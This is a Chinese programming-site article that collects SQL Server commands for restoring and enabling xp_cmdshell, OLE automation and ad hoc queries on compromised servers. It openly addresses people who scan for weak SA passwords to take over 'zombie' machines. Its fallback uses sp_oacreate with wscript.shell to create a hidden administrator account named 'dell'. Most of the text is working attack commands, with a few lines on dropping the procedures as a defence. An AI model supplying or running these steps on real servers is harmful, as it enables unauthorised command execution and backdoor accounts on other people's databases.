位置: 编程技术 - 正文

SQL入侵恢复xp_cmdshell方法总结

编辑:rootadmin
SQL入侵恢复xp_cmdshell方法总结 sql server 下开启xp_cmdshell的办法 EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; SQL开启'OPENROWSET'支持的方法: exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE; SQL开启'sp_oacreate'支持的方法: exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE; 突破SA的各种困难 常见情况恢复执行xp_cmdshell 1 未能找到存储过程'master..xpcmdshell'. 恢复方法:查询分离器连接后, 第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog.dll'declare @o int 第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql.dll' 然后按F5键命令执行完毕 2 无法装载 DLL xpsql.dll 或该DLL所引用的某一 DLL。原因(找不到指定模块。) 恢复方法:查询分离器连接后, 第一步执行:sp_dropextendedproc "xp_cmdshell" 第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql.dll' 然后按F5键命令执行完毕 3 无法在库 xpweb.dll 中找到函数 xp_cmdshell。原因: (找不到指定的程序。) 恢复方法:查询分离器连接后, 第一步执行:exec sp_dropextendedproc 'xp_cmdshell' 第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb.dll' 然后按F5键命令执行完毕 四.终极方法. 如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户: 查询分离器连接后, servser系统: declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:winntsystemcmd.exe /c net user dell huxifeng /add' declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:winntsystemcmd.exe /c net localgroup administrators dell /add' xp或server系统: declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystemcmd.exe /c net user dell huxifeng /add' declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystemcmd.exe /c net localgroup administrators dell /add' -------------- xp_cmdshell新的恢复办法 删除 drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell' 恢复 dbcc addextendedproc ("sp_oacreate","odsole.dll") dbcc addextendedproc ("xp_cmdshell","xplog.dll") 这样可以直接恢复,不用去管sp_addextendedproc是不是存在 ----------------------------- 删除扩展存储过过程xp_cmdshell的语句: exec sp_dropextendedproc 'xp_cmdshell' 恢复cmdshell的sql语句 exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog.dll' 开启cmdshell的sql语句 exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog.dll' 判断存储扩展是否存在 select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 返回结果为1就ok 恢复xp_cmdshell exec master.dbo.addextendedproc 'xp_cmdshell','xplog.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 返回结果为1就ok 否则上传xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:winntsystemxplog.dll' 堵上cmdshell的sql语句 sp_dropextendedproc "xp_cmdshell ---------------- 删除sql危险存储: /*不狐 附上恢复扩展存储过程的办法 先恢复sp_addextendedproc,语句如下: SQL代码: 再恢复以上所有扩展存储过程 SQL代码: SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。 经常扫SQL弱口令肉鸡的朋友应该遇见过这样的问题 ! 接下来我们用SQL语句搞定他 分析器执行的语句: EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE

推荐整理分享SQL入侵恢复xp_cmdshell方法总结,希望有所帮助,仅作参考,欢迎阅读内容。

SQL入侵恢复xp_cmdshell方法总结

文章相关热门搜索词:,内容如对您有帮助,希望把文章链接给更多的朋友!

sqlserver 函数、存储过程、游标与事务模板 1.标量函数:结果为一个单一的值,可包含逻辑处理过程。其中不能用getdate()之类的不确定性系统函数.--标量值函数--==============================================

ADO.NET EF中的实体修改方法 1.传统修改模式,看下列代码using(NorthwindEntitiescontext=newNorthwindEntities()){Regionregion=context.Region.FirstOrDefault(v=v.RegionID==4);region.RegionDescription="Test";context.SaveCha

sqlserver 聚集索引和非聚集索引实例 createdatabasemyIndexDemogousemyIndexDemogocreatetableABC(Aintnotnull,Bchar(),Cvarchar())goinsertintoABCselect1,'B','C'unionselect5,'B','C'unionselect7,'B','C'unionselect9,'B','C'goselect*fromABC-

本文链接地址:https://www.jiuchutong.com/biancheng/349165.html 转载请保留说明!

上一篇:世界杯猜想活动的各类榜单的SQL语句小结(世界杯猜测)

下一篇:sqlserver 函数、存储过程、游标与事务模板(sqlserver函数大全)

免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

鄂ICP备2023003026号

网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

友情链接: 武汉网站建设 电脑维修 湖南楚通运网络